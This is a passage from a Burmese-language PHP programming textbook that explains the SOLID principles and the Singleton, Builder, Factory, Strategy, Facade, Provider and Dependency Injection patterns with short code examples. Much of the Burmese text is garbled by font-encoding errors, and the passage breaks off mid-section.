dပါ်လာeကပါတယ်။ dနာက်ထပ် ဆန်းကျယ်တဲ့ အdခါ်အdဝါ်dတွ လာgပန်ပါပြပီ။

Object-Oriented  Design  Principles  ထဲမှာ  အထင်ရှားဆုံးကdတာ့  SOLID  goစ်ပါတယ်။  ဒါdတွဟာ
လက်dတွ့gပဿdပါ်မှာ အdgခခံgoစ်dပါ်လာeကတဲ့  သdzာသzာဝdတွမ့ုိလ့ုိ လက်dတွ့ အdတွ့အကြကုံ ရိှ
လာdတာ့မှ  dgပာလ့ုိdကာင်းတဲ့  အdeကာင်းအရာdတွပါ။  စာoတ်သူအများစုက  အခုမှdလ့လာစ
အdနအထားမှာပဲ  ရိှeကဦးမယ်လို့  ယူဆပါတယ်။  ဒါdeကာင့်  အခုချနိ်ဒါdတွdgပာရတာ အဆင့်dကျာ်သလုိ
goစ်dကာင်းgoစ်dနနိုင်ပါတယ်။ ဒါdပမယ့် သိသင့်တဲ့ဗဟုသုတgoစ်လ့ုိ အကျဉ်းချုပ်dတာ့ ထည့်သွင်းdgပာgပ
ချင်ပါတယ်။

SOLID  ရဲ့  S  ဟာ  Single  Responsibility  Principle ဆိုတဲ့  အဓိပ္ပါယ်goစ်ပါတယ်။  Object  တစ်ခုမှာ
လုပ်dဆာင်ချက်dတွ အdgမာက်အများ ပါဝင်နိုင်dပမယ့် အဓိကရည်ရွယ်ချက် တစ်ခုထဲပဲ goစ်သင့်တယ်ဆို
တဲ့မူပါ။  လက်ကိုင်မတ်ခွက်တစ်ခုကို  dကာ်oီလည်း  ထည့်လ့ုိရdအာင်လုပ်မယ်၊  အdအးလည်း  ထည့်လ့ုိ
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ရdအာင် လုပ်မယ်ဆိုတာ သိပ်gပဿနာ မရှိdပမယ့်၊ လက်ကိုင်ပါdနလ့ုိ တူလုိမျ ို း ထုလုိရdအာင်လည်း လုပ်
လုိက်မယ်ဆိုရင်dတာ့  အဆင်dgပမှာ  မဟုတ်ပါzူး။  အgပင်ကတစ်ကယ့်ခွက်ကို  သွားလုပ်လုိ့  မရdပမယ့်
ကုဒ်ဆိုတာမျ ို းက dရးရင်dတာ့ ရတာပါပဲ။ ရတိုင်းအကုန်dလျှာက်ပြပီး မလုပ်ခိုင်းသင့်zူးဆိုတဲ့သdzာပါ။

SOLID ရဲ့ O ကdတာ့ Open/Close Principle ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ goည့်စွက်မှုကို လက်ခံdပမယ့်၊ gပင်ဆင်မှု
ကို လက်မခံသင့်zူးဆိုတဲ့ မူgoစ်ပါတယ်။ Object တစ်ခုကို ဆက်ခံတဲ့အခါမှာပဲgoစ်goစ်၊ အသံုးချတဲ့အခါမှာ
ပဲgoစ်goစ်  လုိအပ်လ့ုိ  လုပ်dဆာင်ချက်အသစ်dတွ  တန်oုိးအသစ်dတွ  Object  မှာ  ထပ်dပါင်းလိုက်တာကို
လက်ခံသင့်dပမယ့်  Object  ရဲ့  မူလလုပ်dဆာင်ချက်dတွကို  gပင်ဆင်လုိက်တာမျ ို းကို  မလုပ်သင့်zူးဆိုတဲ့
သdzာသzာဝgoစ်ပါတယ်။

SOLID ရဲ့ L ကdတာ့ Liskov Substitution Principle ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ အမျ ို းအစားတူတဲ့ Object dတွ
ကို oလှယ်အသံုးgပုလို့ ရdအာင် စီစဉ်dရးသားရမယ်ဆိုတဲ့ မူgoစ်ပါတယ်။ ဒီသdzာကိုdတာ့  Interface နဲ့
အတူ dတွ့ခဲ့eကပြပီး goစ်ပါတယ်။

SOLID ရဲ့ I ကdတာ့ Interface Segregation Principle ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ လုပ်dဆာင်ချက်dတွကို တစ်ခု
နဲ့တစ်ခု အdသတွဲဆက်ထားမယ့်အစား ပုိင်းထုတ်လ့ုိရတဲ့ လုပ်dဆာင်ချက်dတွကို ပုိင်းထုတ်ထားရမယ်ဆို
တဲ့ မူgoစ်ပါတယ်။ ဥပမာ -  မီးပူနဲ့ မီးအိမ်ကို မီးခလုပ်ခုံတစ်ခုထဲမှာ dရာမတပ်zဲ နှစ်ခုခွဲတပ်တဲ့ သdzာ
လ့ုိ gမင်eကည့်နိုင်ပါတယ်။ တွဲထားလုိက်တဲ့အခါ တစ်ခုdeကာင့် မီးခလုပ်ခုံdရှာ့goစ်ရင် နှစ်ခုလံုး သံုးမရgoစ်
တတ်ပါတယ်။ ခွဲထားလုိက်တဲ့အခါ သီးgခား စီမံgပင်ဆင်လုိ့ ရသွားdစမယ့်သdzာပဲ goစ်ပါတယ်။

SOLID ရဲ့  D ကdတာ့ Dependency Inversion Principle လ့ုိdခါ်ပါတယ်။ ဥပမာ - dခါင်းdgပာင်းပြပီး သံုး
လ့ုိရတဲ့ ဝက်အူလှည့် လုိမျ ို းပါ။ ဝက်အူလှည့်အgပား ဆိရုင် ဝက်အူdခါင်းအgပားကိုပဲ ရစ်လ့ုိရမှာပါ။ တgခား
အမျ ို းအစားကို ရစ်လ့ုိအဆင်dgပမှာ မဟုတ်ပါzူး။ ဝက်အူလှည့် လက်ကိုင်မှာ ကြကိုက်တဲ့dခါင်း အမျ ို းအစား
dgပာင်းတပ်ပြပီး သံုးလိုရရင်dတာ့ ပုိအသံုးဝင်သွားပါပြပီ။ Dependency Inversion ဆိုတာလည်း ဒီသdzာပါ
ပဲ၊  လုိမယ့်  လုပ်dဆာင်ချက်ကို  အdသတွဲ  dရးထားမယ့်အစား  dနာက်မှတွဲထည့်dပးလ့ုိရdအာင်  စီစဉ်
dရးသားတဲ့နည်းပဲ goစ်ပါတယ်။
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ဒီထက်ပုိအကျယ်ချဲ့ပြပီး  မdgပာနိုင်dပမယ့်  ဒီအdgခခံမူdလးdတွ  dခါင်းထဲထည့်ထားလုိက်ရင်  ပုိပြပီးdတာ့
စနစ်ကျတဲ့ကုဒ်dတွ dရးသားနိုင်o့ုိအတွက် အdထာက်အကူgoစ်dစပါလိမ့်မယ်။။

Design Patterns  dတွလည်း ရှိပါdသးတယ်။  Design Principles    dတွက လုိက်နာရမယ့် မူdတွgoစ်ပြပီး  
Design  Patterns    dတွကdတာ့  ကုဒ်dရးဟန်dတွပါ  ။  မတူeကပါzူး။  လက်dတွ့ပdရာZျက်dတွမှာ  တစ်
dယာက်တစ်မျ ို း တီထွင်dရးသားeကတဲ့ ကုဒ်dတွထဲက တူညီတဲ့ dရးဟန်dတွကို အမည်တပ်dပးလုိက်တာ
ပါ။  ဒီလို  အမည်တပ်dပးလုိက်တဲ့အတွက်  တစ်dယာက်နဲ့တစ်dယာက်  ဆက်ဆံအလုပ်လုပ်ရတာ  ပုိထိ
dရာက်သွားdစo့ုိ  goစ်ပါတယ်။  Factory Pattern  လ့ုိ  တစ်dယာက်က dgပာလုိက်ရင် zာကိုဆိုလိုတာလဲ
dနာက်တစ်dယာက်က သိdစo့ုိgoစ်ပါတယ်။  Singleton  လ့ုိတစ်dယာက်က dgပာလိုက်ယံုနဲ့  zာကိုဆိုလုိ
တာလဲ တgခားသူdတွက သိdစo့ုိgoစ်ပါတယ်။ 

ဒါdတွကလည်း  လက်dတွ့ပdရာZျက်အdတွ့အကြကုံ  အနည်းအကျဉ်းရှိမှ  ပုိပြပီးdတာ့  နားလည်လွယ်မယ့်
အdeကာင်းအရာdတွပါ။ လက်dတွ့ အdတွ့အကြကုံမရှိzဲ dလ့လာတဲ့အခါ နားလည်ရ ခက်သင့်တာထက် ပုိ
ခက်dနမှာ အdသအချာပါပဲ။ ဒါdပမယ့် သိသင့်တဲ့  Design Patterns တစ်ချ ို ့ကို အတက်နိုင်ဆုံး နားလည်
လွယ်dအာင် dရွးထုတ်ထည့်သွင်း doာ်gပdပးပါမယ်။ အကယ်၍ oတ်eကည့်လ့ုိ သိပ်နားလည်ရ ခက်dနမယ်
ဆိရုင် ဒီအခန်းကို  dကျာ်oတ်လုိက်ပါ။ dကျာ်လုိက်လ့ုိရပါတယ်။ အခန်းစဉ်အရ  OOP  အခန်းနဲ့တွဲသင့်လ့ုိ
တွဲထားdပမယ့် အရင်eကည့်သင့်တဲ့ တgခားအdgခခံdတွ dနာက်ပုိင်းမှာ ကျန်ပါdသးတယ်။ အ့ဲဒီအdgခခံdတွ
စုံပြပီဆိုdတာ့မှ gပန်လာoတ်ရင်လည်း ရပါတယ်။

Object-Oriented  Design  Patterns  နဲ့ပက်သက်ရင်  အထင်ရှားဆုံးကdတာ့  Erich  Gamma,  John
Vlissides,  Richard  Helm  နဲ့  Ralph  Johnson  ဆိုသူ  ပညာရှင်  (၄)  ဦးတို့  ပူးdပါင်း  dရးသားထားတဲ့
Design Patterns: Elements of Reusable Object-Oriented Software ဆိုတဲ့စာအုပ်မှာ doာ်gပပါရှိတဲ့
Patterns  dတွပါပဲ။ စာdရးသူ  (၄)  ဦးကို  အစွဲgပုပြပီး  GoF Design Patterns  လ့ုိ အတိုdကာက် dခါ်eကပါ
တယ်။ GoF ဆိုတာ Gang of Four ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ GoF Design Patterns dတွမှာ စုစုdပါင်း Patterns
(၂၃) ခုပါဝင်ပါတယ်။ အခု ဒီစာအုပ်မှာdတာ့ အ့ဲဒီ  Patterns dတွထဲက တစ်ချ ို ့အပါအဝင် အဓိကအားgoင့်
dရးွချယ် မှတ်သားသင့်တဲ့ Pattern (၈) မျ ို းကို dရးွထုတ်doာ်gပသွားမှာပါ။ 
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ဒီစာdရးသားdနချနိ်မှာ  လူသံုးအများဆုံးgoစ်dနတဲ့  PHP  Framework  ကdတာ့  Laravel  goစ်ပါတယ်။
Laravel က အခုဆက်လက်doာ်gပမယ့် Pattern (၈) မျ ို းကို အသံုးချ ထားပါတယ်။ ဒါdeကာင့် ဒီ  Pattern
dတွကို သိရှိထားgခင်းအားgoင့် Laravel ကို dလ့လာရတဲ့အခါ အdထာက်အကူgoစ်dစမှာပဲ goစ်ပါတယ်။

Singleton
ပထမဆုံးdoာ်gပချင်တဲ့  Pattern ကdတာ့ Singleton Pattern goစ်ပါတယ်။ ပံုမှန်အားgoင့် Class တစ်ခုကို
အသံုးgပုပြပီး Object dတွ လုိသdလာက် တည်dဆာက်နိုင်ပါတယ်။ ဒါdပမယ့် ရံoန်ရံခါ Object   တစ်ခုထဲပဲ  
တည်dဆာက်ခွင့်gပုချင်တယ်၊  တစ်ခုထက်ပုိပြပီး  တည်dဆာက်ခွင့်မgပုချင်zူး ဆိုတဲ့လုိအပ်ချက်မျ ို း  ရိှလာ
တတ်ပါတယ်။ ဥပမာ  Setting Object  ဆိုပါစို့။  Object  နှစ်ခုသံုးခု  ရှိdနရင်  Object  တစ်ခုက သတ်မှတ်
လုိက်တဲ့ Setting တန်oုိးကို တgခား Object ကdgပာင်းလုိက်မိလ့ုိ အဆင်မdgပတာမျ ို းdတွ goစ်နိုင်ပါတယ်။
ဒီလုိမgoစ်dစချင်ရင်dတာ့ Singleton Pattern ကိုသံုးgပု Object တစ်ခုထက်ပုိdဆာက်လ့ုိ မရdအာင် ကန့်
သတ်လုိက်နိုင်ပါတယ်။ ဒီလုိdရးရပါတယ်။

 PHP 
<?php
class Setting
{
    static $setting = null;
    public $dark = 0;
    
    protected function __construct()
    {
        //
    }

    static function create()
    {
        if(!static::$setting) {
            static::$setting = new static;
        }
        
        return static::$setting;
    }
}
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$setting1 = Setting::create();
$setting1->dark = 1;

$setting2 = Setting::create();
echo $setting2->dark;    // 1

နမူနာအရ Setting Class ရဲ့ Constructor ဟာ Protected goစ်dနတဲ့အတွက် new Statement နဲ့ Object
တည်dဆာက်ခွင့်ကို မdပးdတာ့ပါzူး။ Object တည်dဆာက်လိုရင် create() Static Method ကို သံုး
ရdတာ့မှာပါ။ create() Method က $setting Property ထဲမှာ သိမ်းထားတဲ့ Setting Object ရိှမရှိ
စစ်ပြပီး မရှိရင် new static နဲ့  Object တည်dဆာက်ပြပီး ထည့်သိမ်းdပးလုိက်ပါတယ်။ Object ရှိdနပြပီး
goစ်ရင်dတာ့ ရှိတဲ့ Object ကိုပဲ gပန်dပးလုိက်မှာပါ။ အသစ်မdဆာက်dတာ့ပါzူး။

ဒါdeကာင့် Setting::create() နဲ့ ပထမအကြကိမ် Object တည်dဆာက်စဉ်မှာ Object အသစ်ကိုရပါ
တယ်။ ဒါdပမယ့် dနာက်တစ်ကြကိမ်  Setting::create() နဲ့  Object  တည်dဆာက်တဲ့အခါ  Object
အသစ်ကို  မရပါzူး၊  နZိရုှိdနပြပီး  goစ်တဲ့  Object  ကို  gပန်ရမှာပဲ  goစ်ပါတယ်။  ဒါdeကာင့်  နမူနာမှာ
$setting2->dark တန်oုိးက  မူလသတ်မှတ်ထားတဲ့  0  မဟုတ်zဲ  $setting က  သတ်မှတ်
dပးလုိက်တဲ့ 1 goစ်dနတာပါ။ $setting1 နဲ့ $setting2 နှစ်ခုgoစ်dနdပမယ့် Object က တစ်ခုထဲ မ့ုိ
လ့ုိပါ။

လက်dတွ့dရးသားတဲ့ကုဒ်က  တစ်dယာက်နဲ့တစ်dယာက်  တူချင်မှ  တူပါလိမ့်မယ်။  ဒါdပမယ့်  လုိရင်း
အချုပ်goစ်တဲ့ Object တစ်ခုထဲကိုသာ တည်dဆာက်ခွင့်dပးတဲ့ ဒီလိုသdzာသzာဝမျ ို းကို Singleton  လ့ုိ
dခါ်တယ်ဆိုတာကို မှတ်သားရမှာပဲ goစ်ပါတယ်။ 

Builder Pattern
ပံုမှန်အားgoင့်  Object  တစ်ခတုည်dဆာက်လုိတဲ့အခါ  သတ်မှတ်လုိတဲ့  Property  dတွကို  Constructor
Argument  အdနနဲ့  dပးeကရdလရ့ှိပါတယ်။  Builder  Pattern  ကိုအသံုးgပုရင်dတာ့  ပထမဆုံး  Builder
Object  တစ်ခု  တည်dဆာက်ရပါတယ်။ အ့ဲဒီ  Builder Object  မှာ သိမ်းချင်တဲ့  တန်oုိးdတွ သိမ်းထားပြပီး
dနာက်ဆုံးမှ အ့ဲဒီတန်oုိးdတွနဲ့ လုိချင်တဲ့ Object ကို တည်dဆာက်ယူတာပါ။ ဒီလုိပါ –
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$builder = new Builder();
$builder->property1 = value1;
$builder->property2 = value2;

$object = $builder->build();

နမူနာအရ $builder Object   မှာ သတ်မှတ်လုိတဲ့   Property   dတွ တစ်ခုပြပီးတစ်ခု သတ်မှတ်ပါတယ်။ စုံ  
ပြပီဆိုdတာ့မှ    build()   Method   နဲ့ အမှန်တစ်ကယ် လုိချင်တဲ့    Object   ကို တည်dဆာက်ယူလုိက်တာပါ  ။
ဒီနည်းကလည်း  အသုံးဝင်ပါတယ်။  ဥပမာ  Profile  Object  တစ်ခုတည်dဆာက်oုိ့အတွက်  User  ဆီက
အမည်  dမးမယ်၊  ရပြပီဆိရုင်  Profile  Builder  မှာထည့်ထားလိုက်မယ်။  oုန်းနံပါတ်  dမးမယ်၊  ရပြပီဆိုရင်
Profile Builder  မှာ ထည့်ထားလုိက်မယ်။ ပြပီးdတာ့မှ  Profile Object  ကို  တည်dဆာက်လုိက်မယ်ဆိုရင်
User ဆီက အကုန်လံုး တစ်ခါထဲ မရလည်း ကိစ္စမရှိdတာ့ပါzူး။ ရတဲ့တန်oုိးdတွ တစ်ခုချင်းသတ်မှတ်သွား
လုိက်လ့ုိ ရသွားမှာ goစ်ပါတယ်။

 PHP 
<?php
class ProfileBuilder
{
    private $name;
    private $phone;
    public function setName($name)
    {
        $this->name = $name;
        return $this;
    }

    public function setPhone($phone)
    {
        $this->phone = $phone;
        return $this;
    }

    public function getName()
    {
        return $this->name;
    }
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    public function getPhone()
    {
        return $this->phone;
    }

    function build()
    {
        return new Profile($this);
    }
}

class Profile
{
    public $name;
    public $phone;
    public function __construct(ProfileBuilder $pb)
    {
        $this->name = $pb->getName();
        $this->phone = $pb->getPhone();
    }

    static function builder()
    {
        return new ProfileBuilder();
    }
}

$user = Profile::builder()
->setName("Alice")
->setPhone("321456")
->build();

var_dump($user);
// object(Profile){ ["name"]=> "Alice" ["phone"]=> "321456" }

နမူနာမှာ  ProfileBuilder ကိုအသံုးgပုပြပီး  name နဲ့  phone တို့ကို  setName() နဲ့
setPhone() Method  dတွရဲ့အကူအညီနဲ့  သတ်မှတ်နိုင်ပါတယ်။  build() လ့ုိdgပာလိုက်dတာ့မှ
သူက Profile Object ကိုတည်dဆာက်dပးသွားမှာပါ။ ဒီdရးဟန်ကို  Builder Pattern လ့ုိdခါ်ပြပီး Laravel
မှာdတာ့ အလားတူ dရးဟန်မျ ို းနဲ့dရးသားထားတဲ့ ကုဒ်dတွကို Manager လ့ုိ dခါ်တာကို dတွ့ရပါတယ်။
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Factory
Factory Pattern ဟာလည်း Builder Pattern လုိပဲ Object တည်dဆာက်dပးတဲ့ Pattern တစ်မျ ို း goစ်ပါ
တယ်။ ဥပမာ - အခုလုိ Profile Class တစ်ခုရှိတယ်ဆိုeကပါစို့။

 PHP 
<?php
class Profile
{
    private $name;
    private $phone;
    public function __construct($name, $phone)
    {
        $this->name = $name;
        $this->phone = $phone;
    }
}

zာမှရှုပ်dထွးတဲ့  လုပ်dဆာင်ချက်dတွ  မပါပါzူး။  $name နဲ့  $phone ကိုလက်ခံပြပီး  Property  dတွ
dgပာင်းdပးတဲ့ Class တစ်ခုပါ။ အ့ဲဒီ Class ကို အသံုးgပုပြပီး Object တည်dဆာက်လုိdပမယ့် Data dတွက
အခုလုိပံုစံ ရှိdနတယ် ဆိုeကပါစို့ –

$data = [
    [ "name" => "Alice", "phone" => "321456" ],
    [ "name" => "Bob" ],
    [ "name" => "Tom", "phone" => "654123" ],
];

ဒီ  Data  ကို  အသံုးgပုပြပီး  Profile Object  တည်dဆာက်လိုရင်  Array  ထဲက  Data  ကို  ထုတ်ယူတာdတွ၊
လုိချင်တဲ့  Data  မှန်/မမှန်  စစ်တာdတွ  လုပ်ရပါမယ်။  အ့ဲဒါdတွကို  Manual    လုပ်မdနပဲ၊  အ့ဲဒီအလုပ်dတွ  
လုပ်ပြပီး    Profile Object    တည်dဆာက်dပးနိုင်တဲ့   ProfileFactory ကို အခုလုိ oန်တီးယူလုိက်လ့ုိ ရ
နိုင်ပါတယ်။
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 PHP 
<?php
class ProfileFactory
{
    private $data;
    public function __construct($data)
    {
        $this->data = $data;
    }

    public function create()
    {
        $result = [];

        foreach($this->data as $data) {
            $name = $data['name'] ?? "Unknown";
            $phone = $data['phone'] ?? "N/A";
            $result[] = new Profile($name, $phone);
        }

        return $result;
    }
}

$pf = new ProfileFactory($data);
$profiles = $pf->create();

dပးလုိက်တဲ့  Data ကို လက်ခံစစ်dဆးပြပီး Profile Object dတွ တည်dဆာက်dပးသွားမှာပါ။ အdသးစိတ်
dရးဟန်မှာ  တစ်dယာက်နဲ့တစ်dယာက်  ကွာသွားနိုင်dပမယ့်  လုိရင်းအချုပ်goစ်တဲ့  Data  dပးလုိက်ရင်
Object တည်dဆာက်dပးတဲ့ ဒီနည်းကို Factory Pattern လ့ုိdခါ်တာပါ။

Strategy
Strategy Pattern  ကdတာ့ အမျ ို းအစားတူdပမယ့် အdသးစိတ်လုပ်dဆာင်ချက် ကွဲgပားတဲ့  Object  dတွ
ကို  အdgခအdနdပါ်မူတည်ပြပီး  gပန်dပးနိုင်တဲ့  dရးဟန်ပါ။  ဒါနဲ့ပက်သက်ရင်  Payment  ကို  နမူနာdပးeက
dလ့ ရှိပါတယ်။ ဥပမာ - dငွသားနဲ့dပးမယ်ဆိုရင် လုပ်ရမယ့် အလုပ်dတွအတွက် Object တစ်ခု၊ Card နဲ့
dပးမယ်ဆိုရင် လုပ်ရမယ့် အလုပ်dတွအတွက် Object တစ်ခု၊ Mobile Money နဲ့ dပးမယ်ဆိုရင် လုပ်ရမယ့်
အလုပ်dတွကတစ်ခု၊ ခွဲထားပြပီး  Payment gပုလုပ်ချနိ်မှာ  Payment Strategy Object  က User  dရွးချယ်
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တဲ့ Option dပါ်မှာတည်ပြပီး သင့်dတာ်တဲ့ Payment Object ကို အလုပ်လုပ်သွားdစတဲ့ နည်းလမ်းမျ ို းပါ။ ဒီ
နည်းနဲ့  dနာက်ပုိင်းမှာ Paypal  တို့  Crypto  တို့  ထပ်တိုးချင်တယ်ဆိုရင်လည်း Payment  ကို  gပင်စရာမလုိ
zဲ   Strategy   မှာ ထပ်တိုးလုိက်ယံုနဲ့   ရသွားနိုင်dစလ့ုိ လူသံုးများတဲ့ dရးဟန်တစ်ခုပါပဲ။

 PHP 
<?php
interface PaymentInterface
{
    public function amount();
}

class CashPayment implements PaymentInterface
{
    public function amount()
    {
        return 100;
    }
}

class MobilePayment implements PaymentInterface
{
    public function amount()
    {
        return 90;
    }
}

ဒါဟာ  Payment  Interface  ကိုအသံုးgပုပြပီး  Payment  Method  dတွ  အမျ ို းမျ ို း  Implement  လုပ်ထား
လုိက်တာပါ။ အ့ဲဒီ  Payment Method dတွကို  User dပးတဲ့  Context dပါ်မူတည်ပြပီး dရးွချယ်အလုပ်လုပ်
တဲ့ Class တစ်ခုကို အခုလိdုရးလ့ုိရသွားပါပြပီ။

 PHP 
<?php

class Payment
{
    private $paymentMethod;



PWD 2022 – အခန်း (၃၂) – Essential Design Patterns 502

    public function pay($context)
    {
        switch($context) {
            case "cash":
                $this->paymentMethod = new CashPayment;
                break;
            case "mobile":
                $this->paymentMethod = new MobilePayment;
                break;
            default:
                $this->paymentMethod = new CashPayment;
        }

        return $this->paymentMethod->amount();
    }
}

ဒါdeကာင့်  User  က  Cash  နဲ့dပးo့ုိdရွးချယ်ရင်  Cash  Payment  အလုပ်လုပ်သွားပြပီး  Mobile  နဲ့dပးo့ုိ
dရးွချယ်ရင် Mobile Payment အလုပ်လုပ်သွားမှာပါ။

$payment = new Payment;
echo $payment->pay("cash") . "USD";    // 100USD
echo $payment->pay("mobile") . "USD";    // 90USD

ဒီနည်းနဲ့  Payment  ချင်းအတူတူ  Mobile  နဲ့dပးရင်  10%  dလျှာ့dပးတယ်ဆိုတဲ့  လုပ်dဆာင်ချက်မျ ို းကို
Implement လုပ်လုိ့ရသွားgခင်းပဲ goစ်ပါတယ်။

Facade
Facade Pattern ဆိုတာကdတာ့ ရှုပ်dထွးတဲ့ လုပ်dဆာင်ချက်dတွကို သံုးရလွယ်သွားdအာင် eကားခံထား
dပးတဲ့ dရးဟန်goစ်ပါတယ်။ ဥပမာ - ကားတစ်စီးကို စက်နှိုးo့ုိအတွက် အင်Zျင်ဝုိင်စစ်ရမယ်၊ zရိတ် စစရ်
မယ်၊ ဆရီှိမရှိ စစရ်မယ် စသည်goင့်လုပ်ရမယ့်အလုပ်dတွ အများကြကီးရှိနိုင်ပါတယ်။ အ့ဲဒါdတွကို မှတ်ရခက်
သလုိ လုပ်ရတာလည်း ခက်ပါတယ်။ ဒါdeကာင့် start() လ့ုိdgပာလုိက်တာနဲ့ ကြကိုတင်သတ်မှတ်ထားတဲ့
လုပ်ရမယ့်  အလုပ်dတွကို  တန်စီပြပီးလုပ်dပးနိုင်မယ့်  eကားခံတစ်ခု  ထားလုိက်မယ်ဆိုရင်dတာ့  သံုးရတာ
လွယ်သွားမှာ goစ်ပါတယ်။ ဒီလုိပါ –  
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 PHP 
<?php
class CheckOilPressure
{
    public function check()
    {
        echo "Oil Pressure OK.";
    }
}

class CheckBreakFluid
{
    public function check()
    {
        echo "Break Fluid OK.";
    }
}

class Car
{
    public $oil;
    public $break;
    public function __construct()
    {
        $this->oil = new CheckOilPressure;
        $this->break = new CheckBreakFluid;
    }

    public function start()
    {
        $this->oil->check();
        $this->break->check();
        echo "Car Engine Started.";
    }
}

$car = new Car;
$car->start();

နမူနာအရ ကားစက်နှိုးo့ုိအတွက် zာပြပီးရင်zာလုပ်ရတယ်ဆိုတာကို  မှတ်စရာမလုိdတာ့zဲ  Car Object
dပါ်မှာ start() လ့ုိdgပာလုိက်ယံုနဲ့ အစဉ်dgပသွားdစတဲ့သdzာပဲ goစ်ပါတယ်။ ထံုးစံအတိုင်း ဒီသdzာ
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မျ ို းနဲ့dရးတဲ့ dရးဟန်ကို Facade Pattern လ့ုိdခါ်dပမယ့် လက်dတွ့အသံုးချမှုကdတာ့ တစ်dယာက်နဲ့တစ်
dယာက် ကွဲgပားနိုင်ပါတယ်။ Laravel မှာဆိုရင် ဒီလုိ Facade Class မျ ို းကို သံုးထားပါတယ် –

 PHP 
<?php
class Facede
{
    static function __callStatic($name, $args)
    {
        $name = strtoupper($name);
        $arg = $args[0] ?? "/";

        echo "Sending $name to $arg";
    }
}

class Route extends Facede
{
    //
}

Route::get("/comments");
// Sending GET to /comments

Route::post();
// Sending POST to /

__callStatic() Magic  Method  ရဲ့  အကူအညီနဲ့  Class  Name  dပါ်မှာ  လုိချင်တဲ့  Method  ကို
dပးလုိက်ယံုနဲ့ dနာက်ကွယ်က လုပ်ရမယ့် ရှုပ်dထွးတဲ့ အလုပ်dတွကို လုပ်dပးdအာင် စီစဉ်ထားတာပါ။ ဒါ
deကာင့် သံုးတဲ့သူအတွက် အရမ်းလွယ်သွားပါတယ်။  Framework  ထဲမှာ တစ်ကယ်dရးထားတဲ့  ကုဒ်dတွ
ကdတာ့ ဒီထက်အများကြကီး ပုိရှုပ်dထွးတာdပါ့။ ဒီနမူနာက နားလည်လွယ်dအာင် အလွန်အမင်း  Simplify
လုပ်dပးထားတဲ့  နမူနာတစ်ခုပါ။  ဒီdရးဟန်မျ ို းကို  Laravel  မှာ  အdgမာက်အများdတွ့ရပါလိမ့်မယ်။  ဒါ
deကာင့် Simplify လုပ်ထားတယ် ဆိုdပမယ့်၊ ဒီdလာက်အုိင်ဒီယာdလး dခါင်းထဲဝင်ထားတဲ့အတွက် ဆက်
dလ့လာရတာ ပုိအဆင်dgပသွားမှာပါ။
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Provider
Provider Pattern ကdတာ့ GoF Patterns dတွထဲမှာ မပါပါzူး။ Microsoft .NET Framework မှာ စတင်
အမည်dပး အသံုးgပုခဲ့ပြပီး အခုdနာက်ပုိင်းမှာ Laravel တို့ Angular တို့အပါအဝင် တgခား Framework dတွ
မှာလည်း အသံုးများလာeကပါတယ်။ နမူနာdလ့လာနိုင်oို့အတွက် အခုလုိ Log Class နှစ်ခု ရိှတယ်ဆိုeကပါ
စို့။

 PHP 
<?php
interface Log
{
    public function write();
}

class Text implements Log
{
    public function write() {
        echo "Saving to text file";
    }
}

class Memory implements Log
{
    public function write() {
        echo "Saving on memory";
    }
}

ပြပီးတဲ့အခါ  Service Container Class  တစ်ခdုရးပြပီး အ့ဲဒီ  Service Container  ထဲမှာ  Log Class  dတွကို
သိမ်းထားလိုက်ပါမယ်။
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 PHP 
<?php
class Services
{
    public $container = [];
    public function register($name, $class)
    {
        $this->container[$name] = $class;
    }
}

$services = new Services;
$services->register("text", Text::class);
$services->register("memory", Memory::class);

တစ်ကယ်dတာ့ Service Container က Singleton goစ်သင့်ပါတယ်။ ဒီdတာ့မှ သိမ်းထားတဲ့ Class dတွက
တစ်စတုစ်စည်းထဲ goစ်မှာပါ။ ဒါdပမယ့် ကုဒ်တိုချင်လ့ုိ နမူနာအdနနဲ့ ရိုးရိုးပဲ dရးထားပါတယ်။ အခုဆိုရင်
Service နှစ်ခုပါဝင်တဲ့ Service Container Object တစ်ခု ရသွားပါပြပီ။ ပြပီးတဲ့အခါ Service Provider ဆက်
dရးပါမယ်။ သူက အdgခအdနdပါ်မူတည်ပြပီး Container ထဲက သင်dတာ်တဲ့ Object ကို gပန်dပးမှာပါ။

 PHP 
<?php
class Provider
{
    public $services;
    public function __construct($services)
    {
        $this->services = $services->container;
    }

    public function make($service)
    {
        if(isset($this->services[$service]))
            return new $this->services[$service];
        
        // else Error: Service doesn't exist
    }
}
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Provider  ရဲ့  make() Method က လုိချင်တဲ့  Service Object  ကို  Container  ထဲကdန နှိုက်ယူပြပီး gပန်
dပးမှာပါ။ ဒီလိုပါ –

$provider = new Provider($services);
$log = $provider->make("text");
$log->write();      // Saving to text file
$log = $provider->make("memory");
$log->write();      // Saving on memory

Provider  Object  တည်dဆာက်တဲ့အခါ  dစာdစာက  Service  dတွ  Register  လုပ်ထားတဲ့  Service
Container Object ကို dပးထားတာကို သတိgပုပါ။ ဒီနည်းနဲ့ လုိချင်တဲ့   Service   ကို dgပာင်းသံုးလ့ုိရနိုင်တဲ့  
Provider Pattern ကိရုသွားပါတယ်။ တစ်ချ ို ့ကလည်း ဒီ Pattern ဟာ Strategy Pattern နဲ့ ဆင်တယ်လ့ုိ
dgပာeကပါတယ်။ သdzာzသာဝ ဆင်dပမယ့် အသံုးချo့ုိသင့်dတာ်တဲ့dနရာdတာ့ မတူeကပါzူး။

Dependency Injection
Dependency Injection ဆိုတာ အထက်က SOLID ရဲ့  Dependency Inversion မူကို လက်dတွ့အသံုးချ
တဲ့  dရးဟန်ပါ။  လုိအပ်တဲ့လုပ်dဆာင်ချက်ကို  အdသdရးထားမယ့်အစား၊  Inject  ထည့်သွင်းပြပီး  dရးလ့ုိ
ရdအာင် စီစဉ်ထားလုိက်တဲ့အခါ ပုိပြပီးdတာ့ အသံုးဝင်သွားမှာပါ။ ဥပမာ –

 PHP 
<?php

class TextLogger
{
    public function write($log) {
        // Save $log to text file
        echo $log;
    }
}
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class App
{
    public function run()
    {
        $logger = new TextLogger;
        $logger->write("App is running");
    }
}

$app = new App;
$app->run(); // App is running

ဒါက ရိုးရိုးdရးထားတဲ့ကုဒ်ပါ။  App Class  အတွင်းမှာ  TextLogger ကို  အသံုးgပုထားပါတယ်။  ဒီလုိ
အdသထည့်သွင်းdရးသားထားတဲ့အတွက်  App  ဟာ  TextLogger တစ်မျ ို းထဲနဲ့သာ အလုပ်လုပ်dတာ့
